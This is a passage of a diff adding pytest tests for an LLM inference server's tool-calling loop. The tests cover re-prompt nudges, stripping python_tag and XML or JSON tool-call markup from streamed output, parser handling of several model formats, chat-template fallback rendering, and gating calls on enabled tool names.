+        assert any(stall in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_long_prose_answer_is_not_reprompted(self):
+        long_answer = "I'll keep explaining the details of the topic. " * 60
+        loop, exec_fn = _make_loop(
+            turns = [
+                [long_answer],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_disabled_auto_heal_is_not_reprompted(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            auto_heal_tool_calls = False,
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_explicit_nudge_off_is_not_reprompted(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = False,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_omitted_nudge_flag_is_not_reprompted(self):
+        # The retry is new on this loop: API callers who do not send the flag
+        # must keep today's behavior. Studio opts in explicitly.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the web for that."],
+                ["SHOULD NOT APPEAR"],
+            ],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the web for that." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_rag_autoinject_counts_as_executed_tool(self, monkeypatch):
+        # Autoinject already ran a KB search outside the controller; a short
+        # post-retrieval intent must not trigger a spurious re-prompt.
+        import core.inference.tools as tools_mod
+
+        def fake_autoinject(conversation, rag_scope):
+            return {
+                "events": [
+                    {"type": "tool_start", "tool_name": "search_knowledge_base"},
+                    {"type": "tool_end", "tool_name": "search_knowledge_base"},
+                ],
+                "messages": [{"role": "tool", "content": "kb result"}],
+            }
+
+        monkeypatch.setattr(tools_mod, "build_rag_autoinject", fake_autoinject)
+        loop, exec_fn = _make_loop(
+            turns = [
+                ["I'll search the docs."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        assert any(e.get("type") == "tool_start" for e in events)
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search the docs." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_no_reprompt_after_a_denied_tool_confirmation(self, monkeypatch):
+        # An explicit user denial must not be answered with a nudge to call
+        # the tool again (which would raise another confirmation prompt).
+        monkeypatch.setattr(safetensors_agentic, "new_approval_id", lambda: "appr-1")
+        monkeypatch.setattr(safetensors_agentic, "begin_tool_decision", lambda *_a, **_k: object())
+        monkeypatch.setattr(safetensors_agentic, "wait_tool_decision", lambda *_a, **_k: "deny")
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["I'll search again."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            confirm_tool_calls = True,
+            session_id = "sess",
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert any("I'll search again." in t for t in texts)
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+    def test_no_reprompt_after_a_tool_already_executed(self):
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['<tool_call>{"name":"web_search","arguments":{"query":"cats"}}</tool_call>'],
+                ["Now I'll refine the search."],
+                ["SHOULD NOT APPEAR"],
+            ],
+            exec_results = ["result-1"],
+            nudge_tool_calls = True,
+        )
+        events = _collect_events(loop)
+        assert [c[0] for c in exec_fn.calls] == ["web_search"]
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert not any("SHOULD NOT APPEAR" in t for t in texts)
+
+
+# Routes-level python_tag strip (multi-line; stop on next sentinel)
+class TestRoutesPythonTagStrip:
+    """``_TOOL_XML_RE`` must consume multi-line code, embedded JSON, and bare ``<`` (earlier ``[^\n<]*`` / ``[^\n]*`` revisions leaked tails); the streaming route-level strip is the regression-prone path."""
+
+    def _strip(self, text: str) -> str:
+        # Import inside the test so a routes-module import error does
+        # not blow up the entire test file at collection time.
+        from routes.inference import _strip_tool_xml
+        return _strip_tool_xml(text)
+
+    def test_single_line_python_tag_stripped(self):
+        # Floor: the original 5620 single-line behaviour still works.
+        text = '<|python_tag|>brave_search.call(query="weather")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_with_less_than_in_code(self):
+        # 5615 regression: literal ``<`` inside code must NOT terminate
+        # the strip early.
+        text = '<|python_tag|>python.call(code="if x < 10: pass")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_multiline_code_stripped(self):
+        # 5620 round-1 regression: multi-line code's second line leaked.
+        text = '<|python_tag|>python.call(code="line1\nline2\nline3")'
+        assert self._strip(text) == ""
+
+    def test_python_tag_multiline_with_less_than(self):
+        # Combined: multi-line code AND literal ``<`` in code.
+        text = (
+            '<|python_tag|>python.call(code="for i in range(10):\n'
+            "    if i < 5:\n"
+            '        print(i)")'
+        )
+        assert self._strip(text) == ""
+
+    def test_python_tag_stops_at_eom_sentinel(self):
+        # Strip stops at the next Llama-3 ``<|`` sentinel so any
+        # trailing assistant content survives.
+        text = '<|python_tag|>python.call(code="multi\nline")' "<|eom_id|>final answer text"
+        assert self._strip(text) == "<|eom_id|>final answer text"
+
+    def test_python_tag_stops_at_eot_sentinel(self):
+        text = '<|python_tag|>brave_search.call(query="x")' "<|eot_id|>after"
+        assert self._strip(text) == "<|eot_id|>after"
+
+    def test_python_tag_json_form_multiline_stripped(self):
+        # The JSON form of python_tag with newlines inside string args.
+        text = '<|python_tag|>{"name":"python","parameters":{"code":"a = 1\nb = 2\nprint(a+b)"}}'
+        assert self._strip(text) == ""
+
+    def test_python_tag_with_eom_then_trailing_python_tag(self):
+        # Two python_tag emissions back-to-back across a sentinel: both
+        # should strip independently.
+        text = (
+            '<|python_tag|>brave_search.call(query="a")'
+            "<|eom_id|>"
+            '<|python_tag|>python.call(code="x=1")'
+        )
+        # ``<|eom_id|>`` between the two strips remains; both
+        # python_tag blocks are fully consumed.
+        assert self._strip(text) == "<|eom_id|>"
+
+
+# Robustness fixes uncovered while validating against vLLM / sglang.
+class TestParserRobustness:
+    def test_tool_call_json_accepts_parameters_key(self):
+        # Hermes wrapper around a Llama-3.2 bare-JSON object that uses
+        # ``parameters`` instead of ``arguments``. The bare-JSON and
+        # python_tag paths already accept both keys; this path now does
+        # too. Was extracting name only and silently dropping the args.
+        import json
+
+        text = "<tool_call>\n" '{"name": "search", "parameters": {"q": "ramen"}}\n' "</tool_call>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "search"
+        assert json.loads(result[0]["function"]["arguments"]) == {"q": "ramen"}
+
+    def test_function_xml_attribute_form(self):
+        # MiniCPM-5 / MiniMax-M2 attribute syntax:
+        # ``<function name="..."><param name="...">v</param></function>``.
+        import json
+
+        text = '<function name="get_weather">' '<param name="city">Tokyo</param>' "</function>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_xml_attribute_form_multi_param(self):
+        import json
+
+        text = (
+            '<function name="get_weather">'
+            '<param name="city">Tokyo</param>'
+            '<param name="unit">celsius</param>'
+            "</function>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"city": "Tokyo", "unit": "celsius"}
+
+    def test_function_xml_legacy_equals_form_still_works(self):
+        # Regression guard: the old ``<function=name><parameter=k>v``
+        # syntax must keep parsing after the regex broadening.
+        import json
+
+        text = "<function=get_weather><parameter=city>Tokyo</parameter></function>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_attribute_form_has_tool_signal(self):
+        # The standalone ``<function name="...">`` attribute form must flip
+        # the streaming buffer; otherwise the end-of-turn safety-net parse in
+        # the agentic loop is gated off and the real call is dropped.
+        assert has_tool_signal('<function name="get_weather">') is True
+
+    def test_function_attribute_form_strip_markup(self):
+        # The attribute form must also be stripped from displayed text, like
+        # the legacy ``<function=...>`` form.
+        text = 'result <function name="g"><param name="c">X</param></function>'
+        assert strip_tool_markup(text, final = True) == "result"
+
+    def test_llama3_chat_template_round_trip(self):
+        # Meta's official Llama-3.x chat template prefixes every
+        # assistant turn with
+        # ``<|start_header_id|>assistant<|end_header_id|>\n\n``. The
+        # sentinel-strip in ``_parse_llama3_bare_json`` must reach past
+        # the role label to the JSON body, else every round-tripped
+        # tool call in history silently drops.
+        import json
+
+        text = (
+            "<|start_header_id|>assistant<|end_header_id|>\n\n"
+            '{"name": "get_weather", "parameters": {"city": "Tokyo"}}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "get_weather"
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_llama3_round_trip_all_roles(self):
+        # Same logic must work for every role the chat template inserts.
+        import json
+        for role in ("assistant", "user", "system", "tool", "ipython"):
+            text = (
+                f"<|start_header_id|>{role}<|end_header_id|>\n\n"
+                '{"name": "f", "parameters": {"x": 1}}'
+            )
+            result = parse_tool_calls_from_text(text)
+            assert len(result) == 1, f"failed for role={role}"
+            assert json.loads(result[0]["function"]["arguments"]) == {"x": 1}
+
+    def test_llama3_round_trip_with_eot_prefix(self):
+        # Prior assistant turn closes with ``<|eot_id|>``, then the
+        # new header opens. Both sentinels + the role must be consumed.
+        import json
+
+        text = (
+            "<|eot_id|><|start_header_id|>assistant<|end_header_id|>\n\n"
+            '{"name": "f", "parameters": {}}'
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "f"
+
+    def test_function_xml_followed_by_prose(self):
+        # Models routinely follow a tool call with explanatory prose.
+        # Body must terminate at ``</function>`` even without a
+        # ``</tool_call>`` wrapper, else trailing prose leaks into the
+        # last parameter value.
+        import json
+
+        text = (
+            "<function=get_weather>"
+            "<parameter=city>Tokyo</parameter>"
+            "</function>\n\nHere is what I found."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+    def test_function_attribute_xml_followed_by_prose(self):
+        # Same expectation for the MiniCPM-5 attribute form.
+        import json
+
+        text = (
+            '<function name="get_weather">'
+            '<param name="city">Tokyo</param>'
+            "</function>\n\nLet me know if you need anything else."
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {"city": "Tokyo"}
+
+
+def test_render_with_native_template_returns_render_only_when_tools_emitted():
+    # The native-template fallback re-renders with the model's repo template when an override drops
+    # the tools schema.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+    model_info = {
+        "native_chat_template": "TPL",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|TOOLS=" + ",".join(t["function"]["name"] for t in tools) if tools else "")
+
+    def ignoring(tokenizer, msgs, *, tools, **_kw):
+        return "".join(m["content"] for m in msgs)  # never reflects tools
+
+    out = render_native_template(
+        model_info = dict(model_info),
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = emitting,
+    )
+    assert out == "hi|TOOLS=web_search"
+    # The native template must be restored on the live tokenizer after probing.
+    assert model_info["tokenizer"].chat_template == "OVERRIDE"
+
+    assert (
+        render_native_template(
+            model_info = dict(model_info),
+            active_model_name = "x",
+            messages = messages,
+            tools = tools,
+            apply_fn = ignoring,
+        )
+        is None
+    )
+
+    # No tokenizer and no processor -> return None instead of an AttributeError.
+    no_tok = {"native_chat_template": "TPL"}
+    assert (
+        render_native_template(
+            model_info = no_tok,
+            active_model_name = "x",
+            messages = messages,
+            tools = tools,
+            apply_fn = emitting,
+        )
+        is None
+    )
+
+
+def test_render_with_native_template_does_not_mutate_shared_tokenizer():
+    # The shared tokenizer must never carry the temporary native template, even mid-render: this
+    # runs outside the generation lock, so a concurrent request could otherwise render with the ...
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    shared = SimpleNamespace(chat_template = "OVERRIDE")
+    seen = []
+
+    def capture(tokenizer, msgs, *, tools, **_kw):
+        seen.append((tokenizer is shared, shared.chat_template))
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    model_info = {"native_chat_template": "TPL", "tokenizer": shared}
+    render_native_template(
+        model_info = model_info,
+        active_model_name = "x",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        apply_fn = capture,
+    )
+    # Rendering happened on a copy, and the shared tokenizer stayed "OVERRIDE"
+    # throughout (never the temporary "TPL").
+    assert seen and all(not is_shared for is_shared, _ in seen)
+    assert all(tpl == "OVERRIDE" for _, tpl in seen)
+    assert shared.chat_template == "OVERRIDE"
+
+
+def test_native_template_loads_from_base_model_for_lora(monkeypatch):
+    # For a LoRA adapter the chat template lives on the base model; active_model_name
+    # is the adapter id and may ship no template. The loader must read base_model.
+    from types import SimpleNamespace
+
+    import transformers
+
+    from core.inference.chat_template_helpers import render_native_template
+
+    captured = {}
+
+    def fake_from_pretrained(name, *args, **kwargs):
+        captured["source"] = name
+        return SimpleNamespace(chat_template = "BASE_TPL")
+
+    monkeypatch.setattr(transformers.AutoTokenizer, "from_pretrained", fake_from_pretrained)
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    model_info = {
+        "base_model": "base/model-id",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+    out = render_native_template(
+        model_info = model_info,
+        active_model_name = "adapter/path",
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        apply_fn = emitting,
+    )
+    assert captured["source"] == "base/model-id"
+    assert out == "hi|T"
+
+
+def test_render_with_native_template_fallback_swaps_when_override_drops_tools():
+    # The shared gate (used by the transformers and MLX backends): when the live render is
+    # identical with and without tools, re-render with the native template and return it.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    # apply_fn that IGNORES tools -> live render drops the schema.
+    def ignoring(tokenizer, msgs, *, tools, **_kw):
+        return "".join(m["content"] for m in msgs)
+
+    model_info = {
+        "native_chat_template": "TPL",
+        "tokenizer": SimpleNamespace(chat_template = "OVERRIDE"),
+    }
+
+    # Native render emits the tools, so the fallback swaps to it.
+    def native_emits(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|TOOLS" if tools else "")
+
+    out = render_with_native_template_fallback(
+        formatted_prompt = ignoring(None, messages, tools = tools),
+        tokenizer = SimpleNamespace(),
+        model_info = dict(model_info),
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = lambda tok, msgs, *, tools, **kw: (
+            native_emits(tok, msgs, tools = tools)
+            if getattr(tok, "chat_template", None) == "TPL"
+            else ignoring(tok, msgs, tools = tools)
+        ),
+    )
+    assert out == "hi|TOOLS", out
+
+
+def test_render_with_native_template_fallback_keeps_prompt_when_tools_emitted():
+    # Live render already differs with vs without tools -> no fallback, returned
+    # unchanged. Also a no-tools call is a passthrough.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def emitting(tokenizer, msgs, *, tools, **_kw):
+        body = "".join(m["content"] for m in msgs)
+        return body + ("|T" if tools else "")
+
+    kept = render_with_native_template_fallback(
+        formatted_prompt = emitting(None, messages, tools = tools),
+        tokenizer = SimpleNamespace(),
+        model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()},
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = emitting,
+    )
+    assert kept == "hi|T", kept
+
+    # No tools -> passthrough (native template never consulted).
+    passthrough = render_with_native_template_fallback(
+        formatted_prompt = "hi",
+        tokenizer = SimpleNamespace(),
+        model_info = {},
+        active_model_name = "x",
+        messages = messages,
+        tools = None,
+        apply_fn = emitting,
+    )
+    assert passthrough == "hi"
+
+
+def test_render_with_native_template_fallback_keeps_prompt_when_no_tools_probe_raises():
+    # A template that REQUIRES tools can raise on the no-tools probe.
+    from types import SimpleNamespace
+
+    from core.inference.chat_template_helpers import render_with_native_template_fallback
+
+    messages = [{"role": "user", "content": "hi"}]
+    tools = [{"type": "function", "function": {"name": "web_search"}}]
+
+    def raises_without_tools(tokenizer, msgs, *, tools, **_kw):
+        if not tools:
+            raise RuntimeError("template requires tools")
+        return "".join(m["content"] for m in msgs) + "|T"
+
+    out = render_with_native_template_fallback(
+        formatted_prompt = "hi|T",
+        tokenizer = SimpleNamespace(),
+        model_info = {"native_chat_template": "TPL", "tokenizer": SimpleNamespace()},
+        active_model_name = "x",
+        messages = messages,
+        tools = tools,
+        apply_fn = raises_without_tools,
+    )
+    assert out == "hi|T", out
+
+
+def test_truncated_bare_json_at_eof_is_not_leaked():
+    # Stream ends mid bare-JSON object: the held fragment must be dropped at the
+    # EOF resolver, not flushed as plain assistant content (GGUF parity).
+    loop, _exec = _make_loop(
+        turns = [['{"name":"web_search","parameters":{"query":"weather in S']],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t for t in contents), contents
+
+
+def test_oversized_bare_json_call_is_not_leaked_and_executes():
+    # A bare-JSON call whose arguments exceed _MAX_BARE_JSON_BUFFER must DRAIN
+    # (suppress) rather than stream the raw JSON prefix, and still execute once
+    # the full object is parsed by the safety net.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    full = '{"name":"python","parameters":{"code":"' + big + '"}}'
+    chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)]
+    loop, exec_fn = _make_loop(turns = [chunks, ["done"]], exec_results = ["OK"], max_tool_iterations = 2)
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any(t.lstrip().startswith('{"name') for t in contents), contents[:1]
+    assert exec_fn.calls and exec_fn.calls[0][0] == "python"
+    assert len(exec_fn.calls[0][1].get("code", "")) > _MAX_BARE_JSON_BUFFER
+
+
+def test_oversized_plain_json_answer_still_streams():
+    # A giant plain JSON answer (no "name" key) is NOT a tool call and must still
+    # stream -- the oversized DRAIN route is gated on a "name" key.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    full = '{"result":"' + big + '"}'
+    chunks = [full[i : i + 2000] for i in range(0, len(full), 2000)]
+    loop, _exec = _make_loop(turns = [chunks], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert '"result"' in contents
+
+
+def test_oversized_disabled_name_json_answer_still_streams():
+    # A giant still-open JSON answer whose "name" is NOT an enabled tool must stream:
+    # the oversized DRAIN branch was gated only on the presence of a "name" key, so a
+    # large ordinary record ({"name":"Alice",...}) was drained instead of shown.
+    from core.inference.safetensors_agentic import _MAX_BARE_JSON_BUFFER
+
+    big = "A" * (_MAX_BARE_JSON_BUFFER + 5000)
+    answer = '{"name":"Alice","parameters":{"bio":"' + big  # never closes
+    chunks = [answer[i : i + 2000] for i in range(0, len(answer), 2000)]
+    loop, exec_fn = _make_loop(turns = [chunks], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents[:80]
+
+
+def test_truncated_disabled_name_json_is_shown_at_eof():
+    # A truncated ordinary JSON answer whose name is not an enabled tool, held to EOF,
+    # must be shown -- the EOF bare-JSON DRAIN branch was gated only on a "name" key.
+    truncated = '{"name":"Alice","parameters":{"age":'
+    loop, exec_fn = _make_loop(turns = [[truncated]], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents
+
+
+def test_truncated_plain_json_with_nested_enabled_name_is_visible():
+    # A truncated ordinary JSON answer with a NESTED ``"name"`` matching an enabled
+    # tool ({"result":{"name":"web_search",...) must be shown, not suppressed: the
+    # gate now extracts the TOP-LEVEL name only, so the nested field is just data.
+    loop, exec_fn = _make_loop(
+        turns = [['{"result":{"name":"web_search","age":']],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == []
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert '"result"' in contents and "web_search" in contents, contents
+
+
+def test_bare_json_call_not_replayed_in_next_turn_content():
+    # After a complete bare-JSON call executes, the assistant content fed to the
+    # next turn must not contain the raw call (next-turn contamination).
+    captured: list[list[dict]] = []
+    exec_fn = FakeExecuteTool(["RESULT"])
+
+    def st(messages, active_tools = None):
+        captured.append([dict(m) for m in messages])
+        if len(captured) == 1:
+            yield '{"name":"web_search","parameters":{"query":"cats"}}'
+        else:
+            yield "Found."
+
+    _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "cats"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            execute_tool = exec_fn,
+            max_tool_iterations = 3,
+        )
+    )
+    assert len(captured) >= 2, captured
+    asst = [m for m in captured[1] if m.get("role") == "assistant"]
+    assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst
+
+
 if __name__ == "__main__":
     pytest.main([__file__, "-v"])
+
+
+def test_streaming_strip_keeps_bare_args_before_think_block():
+    # F3: a bare ``foo[ARGS]`` before a think block is prose; EOS-anchored tail arms run only
+    # on the last segment.
+    text = "Please pass foo[ARGS] <think>pause</think> to the template."
+    out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+    assert out == text
+
+
+def test_streaming_strip_still_removes_complete_call_before_think_block():
+    # A complete bracket call before a think block still strips in the non-last segment.
+    text = 'go web_search[ARGS]{"q":"x"} <think>z</think> done'
+    out = strip_tool_markup_streaming(text, tool_protocol_active = True)
+    assert "web_search[ARGS]" not in out
+    assert "<think>z</think>" in out
+    assert "go" in out and "done" in out
+
+
+def test_prose_args_marker_before_real_call_does_not_drain_the_prose():
+    # F5: an inactive ``foo[ARGS]`` in prose is not a call boundary; the prose streams in
+    # full and the later real call still executes.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ["Intro ", "foo[ARGS] syntax. ", 'web_search[ARGS]{"query":"cats"}'],
+            ["Cats are great."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    # The prose between the bogus marker and the real call must survive.
+    assert any("foo[ARGS] syntax." in t for t in contents), contents
+    # The real call markup is never shown as content.
+    assert not any("web_search[ARGS]" in t for t in contents), contents
+
+
+def test_inactive_name_args_with_body_is_not_parsed_into_disabled_noop():
+    # BUG A: a prose answer with an inactive ``foo[ARGS]{...}`` is not drained into a
+    # disabled no-op extra turn; the [ARGS] checks are name-gated.
+    turns = [['foo[ARGS]{"x":1} is just syntax.']]
+    turn_calls: list[int] = []
+
+    def _gen(_messages):
+        turn_calls.append(1)
+        chunks = turns[len(turn_calls) - 1] if len(turn_calls) <= len(turns) else []
+        acc = ""
+        for chunk in chunks:
+            acc += chunk
+            yield acc
+
+    exec_fn = FakeExecuteTool([])
+    loop = run_safetensors_tool_loop(
+        single_turn = _gen,
+        messages = [{"role": "user", "content": "explain"}],
+        tools = [{"type": "function", "function": {"name": "web_search"}}],
+        execute_tool = exec_fn,
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    assert not any(e["type"] in ("tool_start", "tool_end") for e in events), events
+    # Exactly one generation turn -- no disabled ``foo`` no-op re-prompt.
+    assert len(turn_calls) == 1, turn_calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any("is just syntax." in t for t in contents), contents
+
+
+class TestEnabledToolNameGate:
+    """The safetensors loop passes the active tool names into parse/strip so the
+    ambiguous bare-rehearsal ``NAME[ARGS]{json}`` is treated as a call only when NAME
+    is an active tool (#5704). Without the gate an inactive ``foo[ARGS]{...}`` in prose
+    was parsed into a disabled no-op call and stripped from the visible text."""
+
+    def _names(self, calls):
+        return [c["function"]["name"] for c in calls]
+
+    def test_parse_inactive_rehearsal_does_not_swallow_active_call(self):
+        text = 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'
+        calls = parse_tool_calls_from_text(text, enabled_tool_names = {"web_search"})
+        assert self._names(calls) == ["web_search"]
+        assert json.loads(calls[0]["function"]["arguments"]) == {"query": "cats"}
+
+    def test_parse_inactive_rehearsal_alone_is_prose(self):
+        assert (
+            parse_tool_calls_from_text('foo[ARGS]{"a":1}', enabled_tool_names = {"web_search"}) == []
+        )
+
+    def test_streaming_strip_keeps_inactive_rehearsal(self):
+        raw = 'answer foo[ARGS]{"x":1} tail'
+        assert strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"}) == raw
+
+    def test_streaming_strip_removes_active_rehearsal(self):
+        raw = 'answer web_search[ARGS]{"q":1} tail'
+        out = strip_tool_markup_streaming(raw, enabled_tool_names = {"web_search"})
+        assert "web_search[ARGS]" not in out
+        assert out == "answer  tail"
+
+    def test_final_strip_keeps_inactive_rehearsal(self):
+        text = 'foo[ARGS]{"x":1} is just syntax.'
+        assert strip_tool_markup(text, final = True, enabled_tool_names = {"web_search"}) == text
+
+    def test_gate_none_preserves_legacy_strip_and_parse(self):
+        text = 'foo[ARGS]{"x":1} tail'
+        assert self._names(parse_tool_calls_from_text(text)) == ["foo"]
+        assert strip_tool_markup_streaming(text) == " tail"
+
+
+def test_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled():
+    # F3: with Auto-Heal OFF, a truncated ENABLED-name bare-JSON fragment that did
+    # not parse must stay visible (disabled-Auto-Heal contract: malformed markup is
+    # preserved), matching the XML strip in the same drain branch. With Auto-Heal ON
+    # the same fragment is suppressed.
+    trunc = '{"name":"web_search","parameters":{"query":"weather'
+    off, exec_off = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = False)
+    events_off = _collect_events(off)
+    assert exec_off.calls == [], exec_off.calls
+    contents_off = "".join(e["text"] for e in events_off if e["type"] == "content")
+    assert "web_search" in contents_off, contents_off
+
+    on, exec_on = _make_loop(turns = [[trunc]], max_tool_iterations = 1, auto_heal_tool_calls = True)
+    events_on = _collect_events(on)
+    assert exec_on.calls == [], exec_on.calls
+    contents_on = "".join(e["text"] for e in events_on if e["type"] == "content")
+    assert "web_search" not in contents_on, contents_on
+
+
+def test_looks_like_enabled_bare_json_accepts_function_alias():
+    # The safetensors buffering gate must recognise the "function" bare-JSON alias
+    # the parser accepts, so a truncated/complete {"function":<enabled tool>} call is
+    # buffered/healed instead of streaming as visible content.
+    from core.inference.safetensors_agentic import _looks_like_enabled_bare_json
+
+    enabled = {"web_search"}
+    assert _looks_like_enabled_bare_json(
+        '{"function":"web_search","parameters":{"q":"x"}}', enabled
+    )
+    # A non-tool "function" value is an ordinary JSON answer -> not gated.
+    assert not _looks_like_enabled_bare_json('{"function":"Alice","parameters":{}}', enabled)
+
+
+class TestFalseAlarmMarkerProse:
+    def test_leading_marker_prose_streams_intact(self):
+        # An answer that starts with a literal marker is a false alarm: the
+        # drain finds no calls and the full prose must reach the client.
+        text = "[TOOL_CALLS] is the Mistral tool marker. More prose after."
+        loop, exec_fn = _make_loop(turns = [[text]])
+        events = _collect_events(loop)
+        assert exec_fn.calls == []
+        texts = [e["text"] for e in events if e["type"] == "content"]
+        assert texts and texts[-1] == text
+
+    def test_chained_bare_json_calls_not_replayed_in_history(self):
+        # Both chained calls execute; the kept content (next-turn assistant
+        # history) must not contain the second call's raw JSON.
+        chained = (
+            '{"name":"web_search","parameters":{"q":"first"}};'
+            '{"name":"python","parameters":{"code":"x"}}'
+        )
+        convs = []
+        turn_iter = iter([[chained], ["Final answer."]])
+
+        def gen(messages, active_tools = None):
